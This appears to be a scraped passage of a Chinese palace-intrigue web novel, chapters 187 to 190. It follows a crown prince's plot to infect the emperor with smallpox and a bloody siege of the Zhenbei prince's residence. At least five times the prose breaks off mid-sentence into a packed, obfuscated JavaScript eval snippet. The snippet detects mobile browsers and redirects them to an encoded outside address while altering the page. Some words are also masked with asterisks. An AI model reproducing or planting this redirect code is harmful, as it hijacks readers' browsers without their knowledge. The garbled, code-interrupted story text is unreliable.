“原来如此啊,昨日真是紧张死我了。” 乌二这才稍稍安心,“我怎么感觉,王妃似乎是什么都会,这也太神奇了,她才多大啊。” 萧北铭很是引以为傲, “她是我见过的最聪明的人,可能就是传说中的天赋异禀吧。” 乌二瞧着现在王爷看王妃,是千好万好,说她是仙女都不为过。 全然不记得当初被她戏耍得暴跳如雷,恨不能除之而后快了…… 可是,他总感觉王妃不对劲,具体是哪里,又说不上来,不说出口的话,又感觉是作为副将的失职,只能试探地道, “王爷,你说,王妃有没有可能去过北疆?” 萧北铭一脸云淡风轻, “她去过哪里,都不奇怪,反正,她人生的前十五年,是不可能被关在道观里的。 她肯定是见识过广阔的天地,拜过很多厉害的师父,才能养成现在恣意洒脱,天不怕地不怕的性格。” 乌二震惊于王爷如此想得开,他从前可是事事都要刨根问底,追求真相的啊! 果真是情爱会让人失去理智。 乌二又提醒道, “你们都成婚了,王妃还是不愿意跟你说过去吗?好奇怪啊,我感觉,夫妻之间,就应该无话不谈才对。” 萧北铭轻瞥他一眼,嗤道, “你感觉?你成婚了吗?你就感觉? 你以后跟小九成婚了,会跟她说,你在北疆,一根**所过之处,无一人生还,还能生生把人的脑袋瓜子从脖子上拧下来吗?” 乌二听得直摇头: 那血淋淋的场面,不得给娇贵的小公主吓出什么毛病来啊…… 萧北铭十分坦然, “所以啊,人都有秘密,哪怕是夫妻,也没必要什么都坦白。 我从前也好奇过她的过去,现在,慢慢就想开了。 她不说,我就不打听了,免得她真的说出来什么,我又难以接受,自己给自己找不痛快。 知道她喜欢我,关心我,在乎我就足够了。” 乌二突然觉得: 王爷好卑微啊…… 曾经,他可是说一不二,指挥千军万马的南离铁血战神啊。 遇见王妃以后,就跟变了个人似的。 从股子里散发着温柔贤惠,善解人意的味道。 王爷真是肉麻**…… 如果男人成亲以后就要变成这个样子,他可不想成亲了。 镇北军的主帅和副将,总要有一个人保持清醒吧! 今日早朝,皇上敲定了攻打百越的将领,由镇北王萧北铭挂帅,宁王萧南征随军为将。 明日起,他们两个就下京畿营,熟悉将领,操练大军。 不日,将从上京城带领十万大军南下,和五万镇南军协同作战,攻打百越。 至于乌二,留守上京城,以防北疆有战,他好马上赶过去。 太子萧景泰破大防了,跑到了皇后的宫里,撕心裂肺,嚎啕大哭, “镇北军,京畿营,镇南军,父皇把天下半数兵马都交到了萧北铭的手里,他想干什么? 如今,就连萧南征都能去带兵了,我手下,一支军队都没有,父皇是不是准备废了我啊!” 皇后木若微也是愁眉紧蹙,心痛如刀割,但是,还是极力安慰太子, “你除了军队,什么都有啊。 你有三师,三少,詹事府,左春坊,右春坊还有司经局。 一旦山陵崩,他们就是绝对忠诚于你的新朝臣。” 萧景泰哭得双眸赤红,崩溃大吼, “天下岂有近三十载太子乎! 父皇身体那么好,他起码还能再活三十载,我都不知道能不能活到那个时候!” 沐若微神色一凛,给了他一耳光, “不许胡说!” 萧景泰捂着脸,泪流满面,一脸可怜相,声音都哭哑了, “母后,我没有胡说,我都有白头发了……母后,我这个太子,做得战战兢兢,如履薄冰啊……” 沐若微岂能不知道他做太子压力大,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萧景泰跪在地上,抱住了母后的双腿,抬头看她,满眼都是哀求的泪花, “母后,你只要让父皇也染上瘟疫,让他上不了朝,我就能以太子的身份监国了。 然后,我再以萧晏把瘟疫传染给了父皇为由,将镇北王府满门坑杀。 那样,咱们就一劳永逸了。” 沐若微虽然早有心理准备,但是,听到太子爽利地说出这些话,还是不寒而栗,噙着在眼中的泪水,也滑落了下来,声音颤抖, “你想没想过,你父皇若染上了天花,他会死?” 萧景泰可不愿意承受弑父弑君这么大的罪名,嘴硬道, “父皇是真龙天子,自有上天眷顾,瘟神夺不走他的命,只会让他大病一场!” 沐若微一想到她将要干的大事,就腿软得站不稳了,瘫倒在了地上,瞳仁震颤地看着太子,双唇颤抖, “你的父皇,是靠夺嫡上位的,他有的是心机和手段,你以为,让他染病会像萧晏那么容易?” 萧景泰没有正面回答母后的问题,而是反问道, “父皇靠夺嫡上位成功,母后就不怕萧北铭效仿成功吗?他是公认的最像父皇的皇子啊!” “可是,我们都要见你父皇,也可能被染上……我们可能都会死……” “只是可能死而已,但是,等萧北铭上位,咱们就是必**!别忘了咱们先后刺杀过他多少回!” 沐若微顿时就泄了气,失去了最后的坚强。 若萧北铭做了太子,必定容不下自己的儿子。 自古以来,没听说哪个废太子能善终的。 即便自己能侥幸活下来,将来,温良妤就是圣母皇太后了。 她欺负了她这么些年,她岂能容得下她这个嫡母皇太后? 若萧北铭做了太子,他们母子只有死路一条! 萧北铭把今日早朝的消息带回了镇北王府。 苏苡安有点吃惊: “你明日就要去京畿营练兵了,这么突然啊。” 萧北铭深眸满是不舍, “嗯,我之前没敢设想,父皇会让我挂帅去攻打百越,会给我这么多兵马,就没跟你提。 现在,我想明白了,父皇把你留在了上京城里,稳稳地抓住我的软肋,他就高枕无忧了。” 苏苡安更是吃惊了: 这皇上没事儿吧?把自己的高枕无忧赌在一个做替身的王妃身上?就赌他的儿子是个恋爱脑?这风险也太大了吧? 还不如赌是皇上对自己儿子的绝对信任呢。 “你要去多久啊?” 萧北铭一脸忧心忡忡地说, “战场上的事,说不好,更何况,这次父皇的目标是吞并一个国家,少则三年五载,多则十年八年,都不好说的。” 苏苡安白了他一眼,微笑撇嘴, “你在逗我,我就不信瘟疫爆发了,父皇能一边抗疫,一边对百越开战,有那么强的国力吗?” 萧北铭脸上的阴霾依旧, “抗疫是眼巴前的事情,吞并百越,是父皇的心愿,是必定要干的事,咱们早晚都有这场分别。” 苏苡安拍拍他的肩膀,好生安慰, “没关系啊,不管是三年五载,还是十年八年,我都等你回来。” 萧北铭摇摇头, “不,大概是我接你去南疆。 我猜,父皇的意思是,攻打下来的百越,会给我做封地。 咱们后半辈子,要在**的南边渡过,为南离守江山了。” 苏苡安坦然一笑, “那咱就往好处想嘛。 以后咱们在南边天高皇帝远,就没人管着咱们了,自由自在多好。 而且,南边冬天也暖和,我就不怕过冬了。 南疆的物产丰富,有很多珍稀草药,我还可以随心所欲地做研究。” 萧北铭揽她入怀,真是舍不得和她分开,可是,皇命难为。 翌日清晨,萧北铭带着二十个亲卫随他离开王府,去往京郊的京畿营。 乌二独自去早朝,还替良妃娘娘带了话回来: 要镇北王妃进宫喝茶。 苏苡安冷笑一声, “她可真是心急,她儿子前脚一走,后脚就想着收拾我了,傻子才去。 明儿,你就去告诉她,我要照顾晏儿,可没功夫喝茶。 还有啊,王爷不在府,你们可要把府门看住了,谁来了都不许进。” “得令!” 温良妤见请不到苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第187章 咱们密谋一下,给你赎身的事情怎么样? 守卫依旧凶巴巴地回道, “不可以!我是军人,只听军令!” 月桂又怔了一下,她是宫里当差的掌事姑姑,自然知道怎么拿捏下面的人。 她一脸傲慢,扫了这些人一眼,拿腔拿调道, “你们写这当兵的,怎么这样不知道变通啊? 我可是良妃娘娘的大宫女,今日,是代表良妃娘娘入镇北王看望小殿下的。 你们把我拦在外面,到时候良妃娘娘怪罪下来,镇北王也不会饶恕你们,让你们吃不了兜着走! 快让开!” 守卫们根本就不吃这一套,在他们的心里,只有军令,什么威胁对他们来说都没用。 现下,谁也不屑再跟这女人多费口舌,都十分默契地把手里的**一横,把枪尖对准了来人。 月桂从来没吃过闭门羹,此刻也是跟这些守卫较上劲了,她是真不信这些看门的小兵,敢伤了她这个宫里的掌事姑姑。 今日,就是硬闯,她也要完成良妃娘娘交代的事情! 有人闯门,可给这守门的侍卫们开心坏了,军功这不就来了嘛! “擅闯镇北王府,杀无赦!” 月桂眼看着枪尖刺过来了吓得一声尖叫,都不知道闪躲了。 眼看就枪尖就要刺入月桂的心房了,高升突然冲出了来。 他一手擒住守卫的**杆,一脚踹向了月桂,立眉怒喝一声, “不想死就赶紧滚!” 月桂惨叫一声摔倒在地,吓得脸色惨白。 她满目惊悚,真是不可置信,镇北王府的人真敢打杀她,连良妃娘娘的面子都不给。 只听说镇北王的兵凶悍,没想到,竟凶悍至斯啊! 白婳婳也被眼前的这一幕吓到了,见到侍卫们用要**的眼神瞪着她,好像下一刻,就要冲过来,把她捅个对穿,连忙扭头逃上了马车,根本就没有管躺在地上的月桂姑姑。 还是赶车的小太监,把月桂扶起来,驾车逃之夭夭了。 高升目送马车离开,才转头对那些守卫说, “王爷不在府,咱们不要给王妃惹麻烦,有人闯府,打走就好了,不要伤了性命。” 高升是不知道,他自以为的温和手段,会被那两个女人对良妃娘娘汇报成,凶神恶煞的兵,对她们两个弱女子的无情打杀。 还好她们跑得快,要不然,就****…… 彼时,苏苡安根本就没在王府,而是在听雪楼里吃喝听曲儿。 酒足饭饱之后,她勾勾手让雪重楼停了手中弹奏的箜篌,坐到了她的近前,神神秘秘道, “咱们密谋一下,给你赎身的事情怎么样?” 雪重楼心中咯噔一下: 她才嫁进镇北王府多久啊,就捞到这么大一笔钱了? 表面确实不动声色,勾唇一笑, “你已经攒够二百万两了吗?可是,我还没有到年龄,老鸨子不会放人的。” 苏苡安颔首一笑: 区区二百万两还用我攒这么久,那我还活个什么劲儿啊! “没错,我攒够钱了,不过,我辛辛苦苦攒的这笔巨款,我可不想给老鸨子,我只想给你。 以后,你收了我的钱,就是我的人,只为我效力,你考虑考虑。” 雪重楼心中一凛: 为何是为她效力?难道,她发现我是太后的细作了吗? 这不可能啊…… 如果公主知道了我的身份,那她应该知道,太后的细作都被**控制,没有一年一次的解药,就会死。 我是不会因为钱背叛太后的。 没那个命花。 苏苡安见这种好事,他还要犹豫,真是活久见,是做花魁还有瘾吗? 于是,就小小激将了他一下, “为我效力,好处可多了,每个月都有高额的工钱,年底还有超级多的奖金和分红。 我是个急性子,你要是再考虑,过了这个村,可就没这个店了。 我看隔壁花满楼的头牌花不误也很不错,她人很漂亮,会说话,会办事,我也很赏识她。 你若是不接受我挖人,我现在就去找她。 这世上,最不缺的就是千里马,但是,我这个伯乐可不常有。” 话及此,雪重楼听明白了,感情,公主还是什么都不知道。 如果能跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422932|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她身边当差,那就更好了。 不仅可以帮她的忙,还可以更好地给太后传递消息。 思及此,雪重楼站起来,撩衣跪地,虔诚道, “我愿意,从此,奉你为主,听候差遣。” 苏苡安笑道, “对嘛,这才是聪明人的选择,你在这里就算能做一辈子花魁,也没有跟我赚得多。” 苏苡安从袖子里拿出一个小药瓶递给他, “吃了它,你就会出现跟得了花柳病一样的症状,到时候,老鸨子就会把你赶出去了。 自然,你放心,我是有解药的,不会让你有事的。 为了表示我的诚意,这里是二百万两银票,先付给你了。” 苏苡安说着话,就拿过了自己带来的包袱,打开给他展示里面的二百万两银票, “从此,我出钱,你出力,咱们一起把风月楼,开遍全国。” 雪重楼震惊脸,讶异道, “啊?开遍全国,风月楼这种场所,都是地头蛇开的,背后都有神秘权贵势力,哪里是说开就能开的?” 苏苡安挑眉一笑, “呵呵,实不相瞒,我就是那个背后的神秘权贵势力。 你就放心大胆地给**就是了。 以后,咱们的目标就是向钱看,往厚赚!” 雪重楼满心疑惑: 赚钱? 公主的任务,不是来祸乱南离的朝纲,以便让北幽有机可乘的吗? 可是,她怎么张口闭口,满心满眼,全是赚钱? 难道,她是想用钱来腐化南离的官员,扰得朝纲大乱? 后来,雪重楼才知道,公主用同样的办法和说辞,也给花满楼的头牌花不误赎了身。 体面的说法,就是让两个人一起办事,遇事也好打个商量,通力合作,为她效力,把风月事业做大做强,做到遍地生财。 实际上,就是想让他们两个相互监督,相互钳制,免得坑她的钱…… 而且,公主也不许他们往外透露风月楼的生意和镇北王府有关,还不许在上京城开。 实在不知道公主这么维护镇北王府的名誉,意义在哪里? 第188章 真把自己当个东西了,就是欠打! 京郊京畿营里。 萧北铭结束了一天训练,回到自己的营房,忐忑地打开了王府给他送来的密信。 越看,眉头皱得越深: ……王妃早上翻墙入府,去了小殿下的房间问诊,就又翻墙出府了。 到了后半夜,王妃又翻墙回来了,三丈开外都能闻到酒气。 王妃去小殿下的房间问诊之后,又翻墙走了,全程都没有跟护卫说一句话…… 萧北铭看得额头青筋直跳: 大骗子!明明答应乖乖在府里等我回去的! 从我走的第一天起,她就开始夜不归宿了! 前天这样,昨天这样,今天还这样! 若是没有那个小东西在府里,她怕是都懒得翻墙回来了吧? 还说什么愿意等我三年五载,十年八年,都是她说的场面话吧? 如此耐不住寂寞,以后绝对要红杏出墙! 萧北铭气得一宿一宿地睡不着觉。 真是无比上火,但是,他又无可奈何,真心拿她没辙。 清晨,萧北铭带着起床气来到练兵场,还被萧南征贱笑着凑到耳畔调侃, “二皇兄,才来军营几日,瞧你这黑眼圈重的,是不是想念我二皇嫂,孤枕难眠啊? 要不然,你偷偷回城看看?这里的训练交给我一个人就好。” 萧北铭二话不说,扬手就送去一个大巴掌,骤然将其拍下了点将台,垂眸冷睨,冷厉道, “污蔑主帅,拖下去,杖三十军棍!” 萧南征重摔在地上,嘴角流血,半侧脸颊痛到两眼控制不住地流泪。 在全军将士面前,失去面子和尊严的宁王破防大吼, “镇北王!我是你的副将,你怎么能无缘无故地杖责我?我不服!我要告诉父皇!” 萧北铭空目看着他,冷森启唇, “顶撞上级,加罚二十军棍,给我狠狠地打!” 本来就心烦,你还跟我一呀二的,真把自己当个东西了,就是欠打! 京畿营的将领,见宁王被打,一个求情的都没有。 镇北王来的第一日,就把他镇北军的铁血军规带来了,他们都背熟于心。 镇北王打宁王,按的都是军规,他们若这个时候求情,下场就是一起被打军棍。 宁王在众目睽睽之下,哀嚎着受了五十军棍,最后,是被拖死狗一样拖走了。 宁王挨得这一遭打,也把镇北王在京畿营的威信立起来了。 就算此前对他心有不服者,也无人敢跟他明面造次。 这一日,数月不出门的萧楚钰,终于走出了楚王府。 因为,二皇兄给他规定的是一旬进宫给父皇请安一次,今日,十日时间已经到了,他不敢不去。 萧楚钰从小就知道,二皇兄脾气不好,又说一不二,不听他的话,要挨揍。 小时候,就没少被他揍。 现在,二皇兄长得那么高,那么大的手,那么大的脚,若被他揍一下,他不死也要残废了。 他真的不敢不听话。 皇上萧昀,今日带病上得早朝,现下,觉得浑身无力,正半躺半靠在龙榻上批折子。 萧楚钰许久没见到父皇了,父皇在他的记忆里,一直是个精神矍铄的健壮男人,今日一见父皇,他竟然蔫儿哒哒的,一脸病容地躺在龙榻上。 萧楚钰当时就哽咽垂泪,跪倒在地, “不孝儿给父皇请安,父皇,您怎么生病了?” 萧昀一脸轻松,“无妨,只是发热而已,人吃五谷杂粮,谁没个头疼脑热的。” 萧楚钰膝行上前,满眼关切,泪眼婆娑道, “父皇的龙体没有小事,就让儿臣留在宫里,伺候父皇汤药吧?” 小小举动,让萧昀莫名动容,老三也有老三的好。 虽然他没有其他三个皇子出息,但是,他没本事没野心,就不用他为他的未来操心。 将来,他打算把老二分封去南疆,老四分封去北疆,并且让他们永远不得回上京。 即便是自己驾崩了,都不需要他们回来送终。 因为,他了解太子了,怕自己一旦不在,太子就容不下这两个弟弟了。 然而,老三却可以一直留在自己的身边,床前尽孝。 老三没用又胆小,就是他最大的优点也是他的保命符。 自己不用担心太子容不下老三,也不用担心自己驾崩后,他们会兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422933|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟相残。 萧楚钰跪在地上,给父皇一勺一勺喂汤药。 倏尔,他的目光就顺着父皇挠痒痒的手看去。 微敞的明黄色领口下,一颗颗红痘痘,父皇一挠,就红了一片。 萧楚钰登时吓得浑身一颤,手抖得都没拿住勺子,喷溅了父皇一脸。 萧楚钰惶恐不已地道, “请父皇恕罪,敢问父皇,何时长了这么多痘痘?” 萧昀蹙眉,“说来也奇怪,刚刚太医来送汤药的时候,还没有呢,好像就是此时此刻突然冒出来的……” 萧楚钰这几个月,躲在府里,除了带孩子,就是修书。 其中,就包括南离的史书。 昨日,他才看过百年之前那场让南离损失惨重的天花。 里面对于天花的描写,和父皇现在的病症一样。 天花两个字,对于天子来说,太晦气了,可是,事关父皇的安危,他又不能不提,就一五一十,把自己修史书看到的有关天花的记载都说了。 萧昀一向身体康健,他许多年都没有生过病,这场高热发生在夏季,本就来得莫名其妙,而且,只是高热就让身强力壮的他没力气下床,他还是这辈子头一遭。 方才,他还觉得是自己现在年龄渐长,岁月不饶人的缘故,还默默在心中感叹了一番。 可是,现在,自己突然爆痘子了,再加上这么胆小的皇儿都敢说是天花那种要命病,他不得不重视起来。 立即传来太医院所有的太医,到勤政殿会诊。 南离最近的一场天花,爆发于百年前,现在的太医,谁都没亲眼见过天花。 太医治病,一向讲究不求有功,但求无过,故而,之前心中有怀疑皇上是染上了天花的太医,根本就不敢把说出口。 现下,皇上亲口把怀疑问出来了,太医们就开始各种翻医书,把百年前那些记录天花之症的医书都翻出来了,齐齐跪地,给皇上确诊: 是天花。 法不责众,皇上即便再生气,也不能把太医院的太医都杀了。 毕竟,皇上又不是**。 他只是上位的手段狠辣了一些,上位以后,是公认的仁君。 第189章 敌方才来三千,我方足足有八百! 皇上有疾,皇后开始全权处理后宫事务。 沐若微颁发皇后懿旨: 各宫之人,都好好待在自己的宫里,不得进出。 并且将皇宫之人都排查一遍,凡是有天花症状之人,一律坑杀。 良妃宫里的大宫女月桂,因为之前在镇北王府门口挨了一脚,胸口有一块淤青,现在还躺在床上装病,直接被视作天花之症,带走处理了。 白婳婳吓得浑身颤抖,眼泪直流,紧紧攥着温良妤的胳膊,把人都攥疼了。 温良妤马上扒开了她的胳膊,大骂一声: “混账!” 温良妤十分清楚皇后的为人,一旦发现她身上有红痕,立即会以天花为名,把她埋了。 不过,如果皇上驾崩了,皇后活埋她也是迟早的事情。 现在,只能等她的儿子从京畿营赶回来救她了…… 萧楚钰就跪在父皇的病榻前伺候,蒙着口鼻,不肯离开。 因为,他觉得皇城不可能有天花,父皇这场病,定是萧北铭策划的,那个没人性的东西,要送走父皇的同时,还要带走他。 要不然,他非要他进宫给父皇请安作甚? 只是,萧楚钰不敢把这个揣测说出口,因为,他还有个女儿。 既然萧北铭要杀他,他横竖都难逃一**,还不如在父皇跟前尽孝而死。 这样,他能落下一个大孝子的好名声,以后,宗人府还能管她女人衣食无忧。 萧楚钰作为一个被害妄想症的重度患者,在父皇的病榻前哭成了泪人。 萧昀可感动坏了: 这孩子,太孝顺了。 萧昀不顾自己的病情,反而开口安慰萧楚钰, “老三莫哭,父皇一向身强力壮,绝对死不了。 父皇还没看到你娶妻生子呢。” 相比之下,太子萧景泰,只是跪在勤政殿的门口,请了安,就没再露面了。 相比之下,真是孝心高下立见。 萧昀觉得有点寒心: 朕宠了二十几年的太子,还没有老三一个胆小鬼有孝心。 他就那么怕朕把病染给他? 这一日,萧昀病得厉害了,他自觉时日无多,就传了圣旨,召镇北王和宁王进宫,要交代身后事。 同日,太子觉得他的时机到了,派出他手下的十率府大统领刘冉,带领三千东宫护卫军,围了镇北王府,捉拿身染天花的萧晏。 刘冉的任务是,让萧晏的天花之症暴露在众目睽睽之下,然后以此为凭,坑杀镇北王府满门。 就在镇北王府里,现杀现埋。 让镇北王成为一个无兵之将,等他一进城,就瓮中捉鳖。 乌二和高升,听说太子手里那三千上京城都没出过的东宫护卫军来围王府了,一个比一个兴奋。 对方才来三千人,而他们足足有八百人! 这八百人,都是从战场上下来的精兵强将,一个可以打十个。 一旦开打,对方就得团灭! 只是,现在王妃没有在府里,他们两个都拿不准,要不要开门放狗进来杀。 最后,乌二实在按捺不住自己痒痒的双手,激动地拍板了, “不管了,我做主了,先诱敌深入!再瓮中捉鳖!” 高升亦是兴奋地嘴角上扬,他可太想立战功了,一抱拳, “得令!” 彼时,刘冉正带着全副武装的东宫护卫军在镇北王府和守卫对峙。 一方要进,一方不让进。 双发剑拔**张,互不相让。 裴思远得到了下面人的汇报,说太子的十率府围了镇北王府,要他们交出小殿下。 裴思远的暴脾气顿时就上来了: 这是什么情况啊?太子竟然趁着我姐夫不在家,去欺负一个女人和一个小娃娃,他还是个男人吗? 太子虽然不是个男人,但是,我肯定是个爷们啊! 遇见这种恶人欺负妇孺之事,是个老爷们,都不能袖手旁观。 干他! 作为巡防营武卫长的裴思远,迅速集合了巡防营的两千兵马,就去镇北王府门口跟十率府对峙了。 “今日,你们要想进镇北王府,得问问我同不同意!” 刘冉礼貌一抱拳, “裴少将军,今日,我是奉太子教令而来,你带人跟我对着干,形同谋反。” 裴思远一脸鄙夷加不屑地看着他,据理力争, “请你称呼我的职务,叫我裴武卫长。 本武卫长,奉皇命,带巡防营守护上京城治安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422934|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,上京城的街道,都归我管。 今日,你们这么多人在此**,把镇北王府周围的几条街围得水泄不通,行人都走不路了。 我若不管,就是违抗皇命。 试问刘大人,是皇命大,还是太子教令大? 我给你们三个数,马上从这里离开,否则,本武卫长要把你们都抓去巡防营关起来!” 刘冉看在他爹镇南大将军的面子上,实在不愿意跟眼前这个不知天高地厚的毛头小子起正面冲突,也不愿意跟他耍嘴皮子,就说道, “那我们现在就进去,镇北王府里面,可不归你巡防营管了吧!” 刘冉手一扬,示意手下闯门! 镇北王府的守卫们,早就盼望着他们闯门了。 狗不进去,怎么关门打狗啊! 守卫们几乎是没怎么抵抗,虚晃两枪就齐齐弃门逃命了。 刘冉见状,嘴角飞扬,他觉得,镇北军盛名在外,其实难副,竟然这么不扛打,十分得意地带着十率府的人马乌泱泱地往镇北王府里冲。 裴思远心中担心姊姊和大外甥的安危,也被唬住: 镇北王府的兵怎么这么弱啊,这么容易就被人闯门成功了? 而且,今日出这么大的事,乌二将军都没露面…… 难道是太子知道今日乌二不在府上,才打上门来欺负人的? 他当我是死的吗?! 裴思远倏尔高喊一声, “兄弟们,随我冲!” 就这样,巡防营的两千人马,也冲进了镇北王府。 乌二十分不高兴: 本来我们一个人只能分三四个人头,自己还不够杀的,现在裴思远还冲进来凑热闹。 真烦呐! 难怪王爷烦他,真是一点眼力见都没有…… 彼时,苏苡安正满大街寻找适合开书局的铺子,当她收到镇北王府出事的消息,赶回去的时候,都要打完了。 满地都是十率府士兵的尸体,血腥气味扑鼻。 她掏出手帕,捂着口鼻,眼神真是嫌弃得要死: 血都流土里去了,镇北王府马上就要臭气熏天了。 她若是在府里,绝对不会让这恶心人的场面出现,太脏了。 这卫生,可怎么打扫啊…… 第190章 朕好像不用驾崩了 苏苡安踮起脚尖走着,尽量不让血水弄脏她的鞋子,径直来到了萧晏的院子。 只见,晏儿被一群侍卫围在中间。 萧晏骑着大老虎,手里拿着一把真的宝剑,脸上漾着和年纪不相符的镇定和成熟。 他的身旁,站着他的十个小亲卫,也都拿着真家伙全副武装,严阵以待,没有一个露怯的。 一个个的,小表情都不错,一看就是个处变不惊兵娃子。 苏苡安很满意他们的表现,不枉自己对他们的辛苦栽培。 萧晏见到苏苡安跳墙入院,马上就从小大人的严肃脸,转化成了孩童的烂漫笑容。 骑着大老虎冲到了她的身边, “你怎么回来了?还没打完呢,溅你一身血怎么办啊?” 苏苡安责备道, “不是告诉你,府里有事给我放鸣镝吗?你倒好,屁都没放一个,还有脸说我。” 萧晏甜笑着狡辩, “这不怪我啊,我连一个敌人影子都没见着,不放鸣镝,也很合理。” 苏苡安抬手就弹了他一个脑瓜崩, “敢顶嘴!我看你小子,是叛逆期到了,想找打是不是?” 萧晏露齿一笑,脸颊出现两个深深的小酒窝, “嘿嘿,我说的都是真的嘛,说真话都不行嘛~” 苏苡安一把把他从虎背上提了起来,照着后腚就甩去了一巴掌, “啪!” 萧晏不敢笑了,乖乖认怂,从嗓子眼里呜咽着, “人家知错了嘛,下次不敢了~” 萧晏是个聪明娃,他深知,娘亲大人竟然跟他动手了,那肯定是生大气了,自己必然是要落几颗金豆子,才能把她哄好。 苏苡安看着眼泪汪汪的萧晏,瞬间心脏一紧: 天杀的,我在干什么? 我又不是他亲娘,再生气,也不能打娃娃啊…… 孩子哭得惨兮兮的,苏苡安也泪眼朦胧,心中悔不当初: 我可真该死…… 彼时,外面的战斗完毕,乌二带着裴思远进来报平安。 裴思远远远就看到姊姊把晏儿抱在怀里,拍着后背在安抚呢,急匆匆地跑到近前, “姊姊,你们没吓着吧?” 苏苡安眼眸湿润,适时哽咽道, “怎么没吓到?可吓死我了。 你姐夫也不在家,没有你带人来,我都不知道怎么办好了。” 乌二把脸瞥到一边,抬头望天,他实在不敢直视王妃这副泫然欲泣的做作模样。 现下,他本来就兴奋,再看王妃这装模作样的姿态,怕自己憋不住,会笑出声来…… 彼时,裴思远是真的以为眼前这一大一小,是吓哭了,他自己是个力挽狂澜的大英雄,多亏他带兵来援,才免了镇北王府的灭顶之灾, “姊姊,你别怕,我已经把那些坏人都打**,以后,就没有人敢欺负你了。” 苏苡安颔首点头, “嗯,这次多亏了你。 善后事宜,你听乌二将军的安排。 至于巡防营的伤亡,镇北王府会抚恤。 绝对不会让兄弟们白白流血牺牲,阵亡者的妻儿老小,以后都由镇北王府养了。” “嗯!多谢姊姊。” 萧北铭收到了父皇的传召,带着他的二十亲卫,快马加鞭,从京畿营回城。 进城之后,先去了济心堂,接走了他事先安排在那里的‘鬼医婆婆’,一个八旬老妪。 萧北铭跪在了龙榻前, “父皇,儿臣请了鬼医婆婆入宫给您看诊,当初,我的热毒就是鬼医婆婆解开的,她一定有办法的。” 萧楚钰伺候父皇好几天,也没有被传染,此刻,还用托盘端来了面纱给萧北铭, “二皇兄,请覆面。” 萧北铭瞥了他一眼,拿过了面纱: 算他还是个有孝心的,也不是一无是处。 冒牌的鬼医婆婆,只是略懂一些医术,她依着看病的流程,给皇上望闻问切了一遍,就提笔默写出了镇北王事先给她的药方。 太医们一致判断此药方可行。 汤药熬好了以后,萧北铭又亲自为父皇试药。 然后,又才亲自一勺一勺喂给了父皇喝。 萧昀很是感动,同样都是他生出来的皇子,做人的差距怎么这么大。 看看亲力亲为的老二和老三,再看看不敢朝面的老大和老四。 差得不止一点点啊! 萧昀喝完药,只过了半个时辰,就明显感觉自己在退烧了,握拳也有点力气了。 朕好像不用驾崩了…… 太子萧景泰听说萧北铭进了宫,可开心坏了。 现下,只等着镇北王府被十率府杀光的消息传进来,再等父皇一殡天,他马上就把萧北铭杀了。 对外,就说他是感染天花死的。 原本,萧景泰还以为萧北铭收到父皇染天花的消息,镇北王府又被他围了,他会立即逃亡北疆老巢保命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422935|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他都安排好沿途的围追堵截了。 还是老四那个家伙聪明,都不敢进宫,不过,别以为他今日不进宫,他就能逃过这一劫! 不多时,萧景泰又等到了裴思远带着巡防营去镇北王府参战的消息。 他就开始破口大骂: 